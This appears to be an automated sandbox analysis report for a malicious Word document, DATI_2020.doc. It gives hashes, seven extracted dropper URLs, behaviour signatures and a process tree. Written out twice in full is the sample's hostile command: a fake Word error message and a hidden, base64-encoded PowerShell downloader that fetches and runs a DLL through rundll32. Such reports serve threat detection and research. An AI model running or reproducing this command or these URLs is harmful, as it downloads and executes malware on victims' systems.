40262cc016ac77ac410894f3dfd8a1c4a3fcbb3725a583d6defd2ea4d556df5a

General

Target
DATI_2020.doc
Size 191KB
Sample201221-27fmatntz6
SHA256 40262cc016ac77ac410894f3dfd8a1c4a3fcbb3725a583d6defd2ea4d556df5a
MD5 e7a5d832a01eb6ff32429c24c4cfd19d
SHA1 fafdbaf599191bf46e35281a9dfd334ca45eaf90
SHA512 100663178a437e779f8e1c139c72a323f054ff6424586cf1622d5277d5b2b35d86e53cd924e335e29886807b374408451b91a85f0eeb2b0f19dff3ba63e48d38
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://parakkunnathtemple.com/bckup/7SDAvi/
exe.dropper
http://helionspharmaceutical.com/wp-admin/oXJB/
exe.dropper
https://accordiblehr.com/wp-admin/HdzyEn/
exe.dropper
https://snjwellers.com/wp-includes/esttW/
exe.dropper
https://norailya.com/vendor/1j/
exe.dropper
https://whytech.info/wp-includes/HceUxFK/
exe.dropper
http://resuco.net/wp-content/uploads/2020/12/S0K/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	412	3540	cmd.exe	17

Blocklisted process makes network request 3 IoCs

flow	pid	Process
20	2756	powershell.exe
28	2728	rundll32.exe
29	2728	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
508	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Uoqt\qsois.mlo	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1400	WINWORD.EXE
1400	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2728	rundll32.exe
2728	rundll32.exe
2728	rundll32.exe
2728	rundll32.exe
2728	rundll32.exe
2728	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1400	WINWORD.EXE
1400	WINWORD.EXE
1400	WINWORD.EXE
1400	WINWORD.EXE
1400	WINWORD.EXE
1400	WINWORD.EXE
1400	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 412 wrote to memory of 2064	412	cmd.exe	79
PID 412 wrote to memory of 2064	412	cmd.exe	79
PID 412 wrote to memory of 2756	412	cmd.exe	80
PID 412 wrote to memory of 2756	412	cmd.exe	80
PID 2756 wrote to memory of 1304	2756	powershell.exe	83
PID 2756 wrote to memory of 1304	2756	powershell.exe	83
PID 1304 wrote to memory of 508	1304	rundll32.exe	84
PID 1304 wrote to memory of 508	1304	rundll32.exe	84
PID 1304 wrote to memory of 508	1304	rundll32.exe	84
PID 508 wrote to memory of 2728	508	rundll32.exe	85
PID 508 wrote to memory of 2728	508	rundll32.exe	85
PID 508 wrote to memory of 2728	508	rundll32.exe	85

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DATI_2020.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1400

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgAFMARQBUAC0AVgBhAHIAaQBhAGIATABlACAAKAAnAFMAJwArACcAMQA1ACcAKwAnADYAUQA4ACcAKQAgACAAKAAgACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMQB9AHsAMwB9AHsAMgB9ACIALQBGACcAcwAnACwAJwB5AFMAJwAsACcAVABPAFIAWQAnACwAJwB0AGUAbQAuAGkATwAuAEQAaQByAGUAYwAnACkAIAAgACkAIAA7ACAAIABzAGUAVAAgACgAJwA3ACcAKwAnAFIAYQAnACkAIAAoAFsAVAB5AFAARQBdACgAIgB7ADYAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADMAfQB7ADcAfQB7ADgAfQB7ADAAfQAiACAALQBmACAAJwBuAEEAZwBFAHIAJwAsACcAdAAnACwAJwBOAEUAJwAsACcAcwBFAFIAVgBJAGMAZQAnACwAJwAuACcALAAnAC4AJwAsACcAcwBZAHMAVABFAE0AJwAsACcAUABPAGkATgB0ACcALAAnAG0AQQAnACkAIAAgACkAOwAgACQARwB3AG0AZAB2AGYAdgA9ACgAKAAnAFgAJwArACcAeABjACcAKQArACcANQBkACcAKwAnAHkANgAnACkAOwAkAFcAcQAwAHMAZQB0ADQAPQAkAEwAYwA1AGcAcQA5AHEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAANQBiAGsAYwBxAGwAOwAkAEQAcABqAHQAZwB6ADUAPQAoACcAQwA0ACcAKwAoACcAagAnACsAJwB5AGgAJwApACsAJwA1AHAAJwApADsAIAAgACgAZwBlAFQALQBWAEEAUgBpAGEAYgBsAGUAIAAoACcAUwAnACsAJwAxADUAJwArACcANgBRADgAJwApACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIAYABlAGAAQQBgAFQAZQBEAGkAcgBlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBhAHQAVAB5ACcAKQArACgAJwBzAGYAJwArACcAbABqACcAKQArACgAJwB5AHAAYQAnACsAJwB0AFkAJwArACcAegBlAF8AJwArACcAOQB2ACcAKQArACcAbABwACcAKwAnAGEAJwArACcAdAAnACkALgAiAFIARQBwAGwAYQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQAxADEAMgArAFsAYwBoAGEAcgBdADkANwArAFsAYwBoAGEAcgBdADEAMQA2ACkALAAnAFwAJwApACkAKQA7ACQAVgA5AHUANgAzAGUAZAA9ACgAKAAnAEQANQAnACsAJwBzACcAKQArACcAMwBlACcAKwAnAGsAeAAnACkAOwAgACAAKABnAEUAdAAtAHYAYQBSAGkAQQBCAEwARQAgACAAKAAnADcAJwArACcAUgBBACcAKQApAC4AVgBhAGwAdQBlADoAOgAiAHMARQBDAGAAVQBSAGkAdABZAFAAcgBvAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEkANAAxAHoAcABsAF8APQAoACcARwBpACcAKwAoACcAZAAnACsAJwB4AHoANABsACcAKQApADsAJABVAGoAbQBfADAAZwBwACAAPQAgACgAJwBLADMAJwArACgAJwBxACcAKwAnAGUAOAAnACkAKwAoACcAcQBzAF8AJwArACcAbQAnACkAKQA7ACQASwBuAGgAYgByADQAZwA9ACgAKAAnAEkAJwArACcAcABlADIAJwApACsAJwA2ACcAKwAnAHQAMAAnACkAOwAkAFAAdABiAHIAeABtAHMAPQAoACgAJwBKAG0ANgAnACsAJwBzACcAKQArACcAdQA3ACcAKwAnAGwAJwApADsAJABTAGkAcQB1ADYAOQBkAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0AVAB5AHMAJwArACcAZgBsACcAKwAnAGoAJwArACcAeQAnACsAJwB7ADAAJwArACcAfQBZAHoAZQBfADkAdgBsACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQAVQBqAG0AXwAwAGcAcAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQASQBzADgAeAB1AGgAMwA9ACgAJwBMACcAKwAoACcANgAnACsAJwByADgAeQB5ADgAJwApACkAOwAkAFAAZQB5ADUAaQBvAGYAPQBOAEUAYABXAC0AYABvAEIAagBgAEUAYABjAHQAIABOAEUAdAAuAFcARQBiAGMAbABpAEUATgB0ADsAJABNAG4AbgBmAG0AOABmAD0AKAAoACgAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgBKACkAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAJwBwAGEAcgAnACsAJwBhAGsAJwArACcAawB1ACcAKwAnAG4AbgBhAHQAaAB0AGUAJwArACcAbQBwACcAKQArACgAKAAnAGwAZQAuAGMAbwBtAEoAJwArACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAAnACsAJwBiAGMAJwApACkAKwAnAGsAJwArACgAJwB1AHAAJwArACcASgAnACkAKwAoACgAJwApACgAMwBzACcAKwAnADIAKQAoADcAUwBEAEEAdgAnACsAJwBpAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAQAAnACkAKQArACcAaAB0ACcAKwAoACgAJwB0AHAAOgAnACsAJwBKACkAKAAzAHMAJwArACcAMgApACcAKQApACsAKAAnACgASgAnACsAJwApACcAKQArACgAKAAnACgAMwBzADIAKQAoACcAKwAnAGgAZQAnACkAKQArACgAJwBsACcAKwAnAGkAbwBuAHMAcABoACcAKwAnAGEAcgBtAGEAYwBlAHUAdABpAGMAJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAB3AHAALQBhACcAKwAnAGQAbQAnACsAJwBpAG4AJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABvAFgAJwApACkAKwAoACcASgBCACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzACcAKwAnADIAKQAoAEAAaAB0AHQAcAAnACkAKQArACgAKAAnAHMAJwArACcAOgBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAnACsAJwAyACkAKABhACcAKQApACsAKAAnAGMAYwAnACsAJwBvACcAKQArACcAcgAnACsAJwBkACcAKwAnAGkAYgAnACsAKAAnAGwAZQBoAHIALgAnACsAJwBjAG8AbQAnACkAKwAoACgAJwBKACkAJwArACcAKAAzACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwB3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbgBKACkAKAAzAHMAJwArACcAMgApACgAJwArACcASAAnACkAKQArACcAZAAnACsAKAAoACcAegB5ACcAKwAnAEUAJwArACcAbgBKACkAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQArACgAJwBAAGgAJwArACcAdAAnACsAJwB0AHAAcwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACgASgApACgAMwBzACcAKwAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcAcwBuAGoAdwBlACcAKwAnAGwAbAAnACsAJwBlACcAKwAnAHIAcwAuAGMAbwBtAEoAKQAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAHcAcAAnACsAJwAtACcAKwAnAGkAJwApACkAKwAoACgAJwBuACcAKwAnAGMAbAB1AGQAZQBzAEoAJwArACcAKQAoADMAcwAyACkAJwArACcAKABlAHMAdAB0AFcAJwArACcASgAnACkAKQArACgAKAAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABAAGgAJwArACcAdAB0AHAAcwA6AEoAKQAnACsAJwAoADMAcwAnACsAJwAyACkAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAJwArACcAKQAoAG4AJwArACcAbwByAGEAJwApACkAKwAoACcAaQAnACsAJwBsAHkAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACsAJwB2AGUAbgAnACkAKQArACgAJwBkACcAKwAnAG8AcgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACcAKwAnACgAMQBqACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAJwArACcAcwA6AEoAKQAoACcAKwAnADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAJwArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAaAAnACsAJwB5AHQAJwApACkAKwAoACcAZQAnACsAJwBjAGgAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAdwAnACkAKQArACgAJwBwAC0AJwArACcAaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAoACcAZQBzAEoAKQAoACcAKwAnADMAJwArACcAcwAyACcAKwAnACkAKABIACcAKwAnAGMAZQBVAHgARgAnACsAJwBLACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEAAaAB0AHQAcAA6AEoAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEoAKQAoADMAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoAHIAZQAnACsAJwBzAHUAYwBvACcAKwAnAC4AbgBlAHQAJwApACkAKwAoACgAJwBKACkAKAAzAHMAJwArACcAMgAnACsAJwApACgAdwBwAC0AJwApACkAKwAoACcAYwBvACcAKwAnAG4AdABlACcAKQArACgAKAAnAG4AdAAnACsAJwBKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHUAcAAnACsAJwBsAG8AJwApACkAKwAnAGEAZAAnACsAKAAoACcAcwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAyADAAMgAnACkAKQArACcAMAAnACsAKAAoACcASgApACcAKwAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwAxADIAJwArACcASgApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAFMAMABLACcAKQApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAnACsAJwAzAHMAMgApACgAJwApACkAKQApAC4AIgBSAEUAcABgAGwAYQBjAEUAIgAoACgAKAAoACgAJwBKACkAJwArACcAKAAnACkAKQArACcAMwAnACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABsAGAAaQB0ACIAKAAkAEUAZAA2ADAAMAA2AGsAIAArACAAJABXAHEAMABzAGUAdAA0ACAAKwAgACQAVwBxAHkAZQAwAHoAawApADsAJABDAG8AbwBuAHcAbABqAD0AKAAnAFQAMgAnACsAJwBhADMAJwArACgAJwA3AHYAJwArACcAZAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWABtADcAOABrAGMAZwAgAGkAbgAgACQATQBuAG4AZgBtADgAZgAgAHwAIABzAG8AcgBUAC0ATwBgAEIASgBFAGAAQwB0ACAAewBHAGAAZQB0AC0AYABSAGEAbgBgAEQAbwBtAH0AKQB7AHQAcgB5AHsAJABQAGUAeQA1AGkAbwBmAC4AIgBEAG8AVwBgAE4AbABPAEEAZABGAGAASQBgAGwAZQAiACgAJABYAG0ANwA4AGsAYwBnACwAIAAkAFMAaQBxAHUANgA5AGQAKQA7ACQATAA5AG0AcQBiAG0AMwA9ACgAKAAnAEYAJwArACcANgA0ACcAKQArACcAZAAnACsAKAAnAHQAJwArACcAeQBtACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFMAaQBxAHUANgA5AGQAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADUAMwA5ADMAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQAUwBpAHEAdQA2ADkAZAAsACcAIwAxACcALgAiAHQATwBgAHMAVABgAFIAaQBuAEcAIgAoACkAOwAkAEEANQBqAGoAdQBsADcAPQAoACcATQBoACcAKwAoACcAaAA1AHQAZwAnACsAJwBrACcAKQApADsAYgByAGUAYQBrADsAJABaAHoAYgBtADUAcAAzAD0AKAAnAFgAJwArACgAJwBnADIAdAAnACsAJwBmADYAZQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBnADYAMwA1AHEANwA9ACgAKAAnAEwAdgB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcAeAB6ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:412
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POwersheLL -w hidden -ENCOD IAAgAFMARQBUAC0AVgBhAHIAaQBhAGIATABlACAAKAAnAFMAJwArACcAMQA1ACcAKwAnADYAUQA4ACcAKQAgACAAKAAgACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMQB9AHsAMwB9AHsAMgB9ACIALQBGACcAcwAnACwAJwB5AFMAJwAsACcAVABPAFIAWQAnACwAJwB0AGUAbQAuAGkATwAuAEQAaQByAGUAYwAnACkAIAAgACkAIAA7ACAAIABzAGUAVAAgACgAJwA3ACcAKwAnAFIAYQAnACkAIAAoAFsAVAB5AFAARQBdACgAIgB7ADYAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADMAfQB7ADcAfQB7ADgAfQB7ADAAfQAiACAALQBmACAAJwBuAEEAZwBFAHIAJwAsACcAdAAnACwAJwBOAEUAJwAsACcAcwBFAFIAVgBJAGMAZQAnACwAJwAuACcALAAnAC4AJwAsACcAcwBZAHMAVABFAE0AJwAsACcAUABPAGkATgB0ACcALAAnAG0AQQAnACkAIAAgACkAOwAgACQARwB3AG0AZAB2AGYAdgA9ACgAKAAnAFgAJwArACcAeABjACcAKQArACcANQBkACcAKwAnAHkANgAnACkAOwAkAFcAcQAwAHMAZQB0ADQAPQAkAEwAYwA1AGcAcQA5AHEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAANQBiAGsAYwBxAGwAOwAkAEQAcABqAHQAZwB6ADUAPQAoACcAQwA0ACcAKwAoACcAagAnACsAJwB5AGgAJwApACsAJwA1AHAAJwApADsAIAAgACgAZwBlAFQALQBWAEEAUgBpAGEAYgBsAGUAIAAoACcAUwAnACsAJwAxADUAJwArACcANgBRADgAJwApACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIAYABlAGAAQQBgAFQAZQBEAGkAcgBlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBhAHQAVAB5ACcAKQArACgAJwBzAGYAJwArACcAbABqACcAKQArACgAJwB5AHAAYQAnACsAJwB0AFkAJwArACcAegBlAF8AJwArACcAOQB2ACcAKQArACcAbABwACcAKwAnAGEAJwArACcAdAAnACkALgAiAFIARQBwAGwAYQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQAxADEAMgArAFsAYwBoAGEAcgBdADkANwArAFsAYwBoAGEAcgBdADEAMQA2ACkALAAnAFwAJwApACkAKQA7ACQAVgA5AHUANgAzAGUAZAA9ACgAKAAnAEQANQAnACsAJwBzACcAKQArACcAMwBlACcAKwAnAGsAeAAnACkAOwAgACAAKABnAEUAdAAtAHYAYQBSAGkAQQBCAEwARQAgACAAKAAnADcAJwArACcAUgBBACcAKQApAC4AVgBhAGwAdQBlADoAOgAiAHMARQBDAGAAVQBSAGkAdABZAFAAcgBvAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEkANAAxAHoAcABsAF8APQAoACcARwBpACcAKwAoACcAZAAnACsAJwB4AHoANABsACcAKQApADsAJABVAGoAbQBfADAAZwBwACAAPQAgACgAJwBLADMAJwArACgAJwBxACcAKwAnAGUAOAAnACkAKwAoACcAcQBzAF8AJwArACcAbQAnACkAKQA7ACQASwBuAGgAYgByADQAZwA9ACgAKAAnAEkAJwArACcAcABlADIAJwApACsAJwA2ACcAKwAnAHQAMAAnACkAOwAkAFAAdABiAHIAeABtAHMAPQAoACgAJwBKAG0ANgAnACsAJwBzACcAKQArACcAdQA3ACcAKwAnAGwAJwApADsAJABTAGkAcQB1ADYAOQBkAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0AVAB5AHMAJwArACcAZgBsACcAKwAnAGoAJwArACcAeQAnACsAJwB7ADAAJwArACcAfQBZAHoAZQBfADkAdgBsACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQAVQBqAG0AXwAwAGcAcAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQASQBzADgAeAB1AGgAMwA9ACgAJwBMACcAKwAoACcANgAnACsAJwByADgAeQB5ADgAJwApACkAOwAkAFAAZQB5ADUAaQBvAGYAPQBOAEUAYABXAC0AYABvAEIAagBgAEUAYABjAHQAIABOAEUAdAAuAFcARQBiAGMAbABpAEUATgB0ADsAJABNAG4AbgBmAG0AOABmAD0AKAAoACgAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgBKACkAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAJwBwAGEAcgAnACsAJwBhAGsAJwArACcAawB1ACcAKwAnAG4AbgBhAHQAaAB0AGUAJwArACcAbQBwACcAKQArACgAKAAnAGwAZQAuAGMAbwBtAEoAJwArACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAAnACsAJwBiAGMAJwApACkAKwAnAGsAJwArACgAJwB1AHAAJwArACcASgAnACkAKwAoACgAJwApACgAMwBzACcAKwAnADIAKQAoADcAUwBEAEEAdgAnACsAJwBpAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAQAAnACkAKQArACcAaAB0ACcAKwAoACgAJwB0AHAAOgAnACsAJwBKACkAKAAzAHMAJwArACcAMgApACcAKQApACsAKAAnACgASgAnACsAJwApACcAKQArACgAKAAnACgAMwBzADIAKQAoACcAKwAnAGgAZQAnACkAKQArACgAJwBsACcAKwAnAGkAbwBuAHMAcABoACcAKwAnAGEAcgBtAGEAYwBlAHUAdABpAGMAJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAB3AHAALQBhACcAKwAnAGQAbQAnACsAJwBpAG4AJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABvAFgAJwApACkAKwAoACcASgBCACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzACcAKwAnADIAKQAoAEAAaAB0AHQAcAAnACkAKQArACgAKAAnAHMAJwArACcAOgBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAnACsAJwAyACkAKABhACcAKQApACsAKAAnAGMAYwAnACsAJwBvACcAKQArACcAcgAnACsAJwBkACcAKwAnAGkAYgAnACsAKAAnAGwAZQBoAHIALgAnACsAJwBjAG8AbQAnACkAKwAoACgAJwBKACkAJwArACcAKAAzACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwB3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbgBKACkAKAAzAHMAJwArACcAMgApACgAJwArACcASAAnACkAKQArACcAZAAnACsAKAAoACcAegB5ACcAKwAnAEUAJwArACcAbgBKACkAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQArACgAJwBAAGgAJwArACcAdAAnACsAJwB0AHAAcwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACgASgApACgAMwBzACcAKwAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcAcwBuAGoAdwBlACcAKwAnAGwAbAAnACsAJwBlACcAKwAnAHIAcwAuAGMAbwBtAEoAKQAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAHcAcAAnACsAJwAtACcAKwAnAGkAJwApACkAKwAoACgAJwBuACcAKwAnAGMAbAB1AGQAZQBzAEoAJwArACcAKQAoADMAcwAyACkAJwArACcAKABlAHMAdAB0AFcAJwArACcASgAnACkAKQArACgAKAAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABAAGgAJwArACcAdAB0AHAAcwA6AEoAKQAnACsAJwAoADMAcwAnACsAJwAyACkAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAJwArACcAKQAoAG4AJwArACcAbwByAGEAJwApACkAKwAoACcAaQAnACsAJwBsAHkAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACsAJwB2AGUAbgAnACkAKQArACgAJwBkACcAKwAnAG8AcgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACcAKwAnACgAMQBqACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAJwArACcAcwA6AEoAKQAoACcAKwAnADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAJwArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAaAAnACsAJwB5AHQAJwApACkAKwAoACcAZQAnACsAJwBjAGgAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAdwAnACkAKQArACgAJwBwAC0AJwArACcAaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAoACcAZQBzAEoAKQAoACcAKwAnADMAJwArACcAcwAyACcAKwAnACkAKABIACcAKwAnAGMAZQBVAHgARgAnACsAJwBLACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEAAaAB0AHQAcAA6AEoAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEoAKQAoADMAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoAHIAZQAnACsAJwBzAHUAYwBvACcAKwAnAC4AbgBlAHQAJwApACkAKwAoACgAJwBKACkAKAAzAHMAJwArACcAMgAnACsAJwApACgAdwBwAC0AJwApACkAKwAoACcAYwBvACcAKwAnAG4AdABlACcAKQArACgAKAAnAG4AdAAnACsAJwBKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHUAcAAnACsAJwBsAG8AJwApACkAKwAnAGEAZAAnACsAKAAoACcAcwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAyADAAMgAnACkAKQArACcAMAAnACsAKAAoACcASgApACcAKwAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwAxADIAJwArACcASgApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAFMAMABLACcAKQApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAnACsAJwAzAHMAMgApACgAJwApACkAKQApAC4AIgBSAEUAcABgAGwAYQBjAEUAIgAoACgAKAAoACgAJwBKACkAJwArACcAKAAnACkAKQArACcAMwAnACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAG